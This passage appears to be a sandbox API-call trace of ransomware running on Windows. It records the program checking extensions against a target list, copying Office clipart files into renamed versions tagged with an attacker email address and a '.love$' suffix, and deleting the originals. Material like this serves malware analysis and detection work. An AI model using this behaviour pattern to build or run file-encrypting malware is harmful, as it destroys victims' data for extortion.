returned 5 [0285.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.792] lstrlenW (lpString=".pdf") returned 4 [0285.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.792] lstrlenW (lpString=".xls") returned 4 [0285.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.792] lstrlenW (lpString=".xlsx") returned 5 [0285.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.792] lstrlenW (lpString=".ppt") returned 4 [0285.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0285.793] lstrlenW (lpString=".zip") returned 4 [0285.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.793] lstrlenW (lpString=".rar") returned 4 [0285.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.794] lstrlenW (lpString=".bz2") returned 4 [0285.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.794] lstrlenW (lpString=".7z") returned 3 [0285.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0285.794] lstrlenW (lpString=".dbf") returned 4 [0285.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0285.794] lstrlenW (lpString=".1cd") returned 4 [0285.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0285.794] lstrlenW (lpString=".jpg") returned 4 [0285.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.794] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0285.794] lstrlenW (lpString="AN01545_.WMF") returned 12 [0285.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0285.795] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25bff14 | out: lpFileSize=0x25bff14*=7372) returned 1 [0285.795] CloseHandle (hObject=0x378) returned 1 [0285.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0285.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0285.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0285.796] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.796] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0285.797] GetLastError () returned 0x0 [0285.797] ReadFile (in: hFile=0x378, lpBuffer=0x34c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25bfecc, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesRead=0x25bfecc*=0x1ccc, lpOverlapped=0x0) returned 1 [0285.799] WriteFile (in: hFile=0x324, lpBuffer=0x34c3020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x25bfc94, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesWritten=0x25bfc94*=0x1cd0, lpOverlapped=0x0) returned 1 [0285.800] ReadFile (in: hFile=0x378, lpBuffer=0x34c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25bfecc, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesRead=0x25bfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.801] WriteFile (in: hFile=0x324, lpBuffer=0x34c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25bfc94, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesWritten=0x25bfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.801] SetEndOfFile (hFile=0x324) returned 1 [0285.801] CloseHandle (hObject=0x324) returned 1 [0285.801] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.801] SetEndOfFile (hFile=0x378) returned 1 [0285.802] CloseHandle (hObject=0x378) returned 1 [0285.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0285.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0285.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0285.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0285.804] lstrlenW (lpString=".doc") returned 4 [0285.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.804] lstrlenW (lpString=".docx") returned 5 [0285.804] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.804] lstrlenW (lpString=".pdf") returned 4 [0285.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.804] lstrlenW (lpString=".xls") returned 4 [0285.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.804] lstrlenW (lpString=".xlsx") returned 5 [0285.804] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.804] lstrlenW (lpString=".ppt") returned 4 [0285.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0285.804] lstrlenW (lpString=".zip") returned 4 [0285.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.804] lstrlenW (lpString=".rar") returned 4 [0285.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.804] lstrlenW (lpString=".bz2") returned 4 [0285.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.805] lstrlenW (lpString=".7z") returned 3 [0285.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0285.805] lstrlenW (lpString=".dbf") returned 4 [0285.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0285.805] lstrlenW (lpString=".1cd") returned 4 [0285.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0285.805] lstrlenW (lpString=".jpg") returned 4 [0285.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0285.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0285.805] lstrlenW (lpString=".doc") returned 4 [0285.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.805] lstrlenW (lpString=".docx") returned 5 [0285.805] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.805] lstrlenW (lpString=".pdf") returned 4 [0285.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.805] lstrlenW (lpString=".xls") returned 4 [0285.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.805] lstrlenW (lpString=".xlsx") returned 5 [0285.805] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.805] lstrlenW (lpString=".ppt") returned 4 [0285.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0285.805] lstrlenW (lpString=".zip") returned 4 [0285.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.806] lstrlenW (lpString=".rar") returned 4 [0285.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.806] lstrlenW (lpString=".bz2") returned 4 [0285.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.806] lstrlenW (lpString=".7z") returned 3 [0285.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0285.806] lstrlenW (lpString=".dbf") returned 4 [0285.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0285.806] lstrlenW (lpString=".1cd") returned 4 [0285.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0285.806] lstrlenW (lpString=".jpg") returned 4 [0285.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.806] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0285.806] lstrlenW (lpString="AN02122_.WMF") returned 12 [0285.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0285.807] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25bff14 | out: lpFileSize=0x25bff14*=7540) returned 1 [0285.807] CloseHandle (hObject=0x378) returned 1 [0285.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0285.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0285.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0285.808] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.808] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0285.809] GetLastError () returned 0x0 [0285.809] ReadFile (in: hFile=0x378, lpBuffer=0x34c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25bfecc, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesRead=0x25bfecc*=0x1d74, lpOverlapped=0x0) returned 1 [0285.810] WriteFile (in: hFile=0x324, lpBuffer=0x34c3020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x25bfc94, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesWritten=0x25bfc94*=0x1d80, lpOverlapped=0x0) returned 1 [0285.813] ReadFile (in: hFile=0x378, lpBuffer=0x34c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25bfecc, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesRead=0x25bfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.813] WriteFile (in: hFile=0x324, lpBuffer=0x34c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25bfc94, lpOverlapped=0x0 | out: lpBuffer=0x34c3020*, lpNumberOfBytesWritten=0x25bfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.813] SetEndOfFile (hFile=0x324) returned 1 [0285.814] CloseHandle (hObject=0x324) returned 1 [0285.814] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.814] SetEndOfFile (hFile=0x378) returned 1 [0285.815] CloseHandle (hObject=0x378) returned 1 [0285.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0285.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0285.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0285.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0285.816] lstrlenW (lpString=".doc") returned 4 [0285.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.816] lstrlenW (lpString=".docx") returned 5 [0285.816] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.816] lstrlenW (lpString=".pdf") returned 4 [0285.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.816] lstrlenW (lpString=".xls") returned 4 [0285.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.816] lstrlenW (lpString=".xlsx") returned 5 [0285.817] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.817] lstrlenW (lpString=".ppt") returned 4 [0285.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0285.817] lstrlenW (lpString=".zip") returned 4 [0285.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.817] lstrlenW (lpString=".rar") returned 4 [0285.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.817] lstrlenW (lpString=".bz2") returned 4 [0285.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.817] lstrlenW (lpString=".7z") returned 3 [0285.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0285.817] lstrlenW (lpString=".dbf") returned 4 [0285.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0285.817] lstrlenW (lpString=".1cd") returned 4 [0285.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0285.817] lstrlenW (lpString=".jpg") returned 4 [0285.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0285.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0285.817] lstrlenW (lpString=".doc") returned 4 [0285.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.818] lstrlenW (lpString=".docx") returned 5 [0285.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.818] lstrlenW (lpString=".pdf") returned 4 [0285.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.818] lstrlenW (lpString=".xls") returned 4 [0285.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.818] lstrlenW (lpString=".xlsx") returned 5 [0285.818] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.818] lstrlenW (lpString=".ppt") returned 4 [0285.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0285.818] lstrlenW (lpString=".zip") returned 4 [0285.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.818] lstrlenW (lpString=".rar") returned 4 [0285.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.818] lstrlenW (lpString=".bz2") returned 4 [0285.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.818] lstrlenW (lpString=".7z") returned 3 [0285.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0285.818] lstrlenW (lpString=".dbf") returned 4 [0285.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0285.818] lstrlenW (lpString=".1cd") returned 4 [0285.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0285.818] lstrlenW (lpString=".jpg") returned 4 [0285.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.819] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0285.819] lstrlenW (lpString="AN02559_.WMF") returned 12 [0285.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0285.819] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25bff14 | out: lpFileSize=0x25bff14*=6632) returned 1 [0285.819] CloseHandle (hObject=0x378) returned 1 [0285.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0285.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0285.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0285.820] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.820] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0285.821] GetLastError () returned 0x0 [0285.821] ReadFile (hFile=0x378, lpBuffer=0x34c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25bfecc, lpOverlapped=0x0) Thread: id = 96 os_tid = 0x364 [0282.890] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x5abda8 [0282.891] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x5bbdb0 [0282.891] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53aa28 [0282.891] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x6) returned 0x57a2b8 [0282.891] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53aa58 [0282.892] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x100000) returned 0x35d2020 [0282.895] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53aad0 [0282.895] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53aad0, Size=0x20) returned 0x51d580 [0282.895] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53aad0 [0282.896] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53aad0, Size=0x20) returned 0x51d8f0 [0282.896] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.896] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.896] Wow64DisableWow64FsRedirection (in: OldValue=0x2abff50 | out: OldValue=0x2abff50*=0x0) returned 1 [0282.896] lstrlenW (lpString="kernel32.dll") returned 12 [0282.896] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d580 | out: hHeap=0x4e0000) returned 1 [0282.896] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.896] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d8f0 | out: hHeap=0x4e0000) returned 1 [0282.896] Sleep (dwMilliseconds=0x64) [0283.160] lstrcmpiW (lpString1=".ini", lpString2=".love$") returned -1 [0283.160] lstrlenW (lpString="desktop.ini") returned 11 [0283.160] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0283.161] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=129) returned 1 [0283.161] CloseHandle (hObject=0x2d8) returned 1 [0283.161] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0283.162] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[im.online@aol.com].love$")) returned 0x26 [0283.162] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0283.162] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0283.162] lstrlenW (lpString=".doc") returned 4 [0283.162] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0283.162] lstrlenW (lpString=".docx") returned 5 [0283.162] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0283.162] lstrlenW (lpString=".pdf") returned 4 [0283.162] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0283.162] lstrlenW (lpString=".xls") returned 4 [0283.162] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0283.162] lstrlenW (lpString=".xlsx") returned 5 [0283.162] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0283.162] lstrlenW (lpString=".ppt") returned 4 [0283.162] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0283.162] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0283.162] lstrlenW (lpString=".zip") returned 4 [0283.162] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0283.162] lstrlenW (lpString=".rar") returned 4 [0283.162] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0283.162] lstrlenW (lpString=".bz2") returned 4 [0283.163] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0283.163] lstrlenW (lpString=".7z") returned 3 [0283.163] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0283.163] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0283.163] lstrlenW (lpString=".dbf") returned 4 [0283.163] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0283.163] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0283.163] lstrlenW (lpString=".1cd") returned 4 [0283.163] 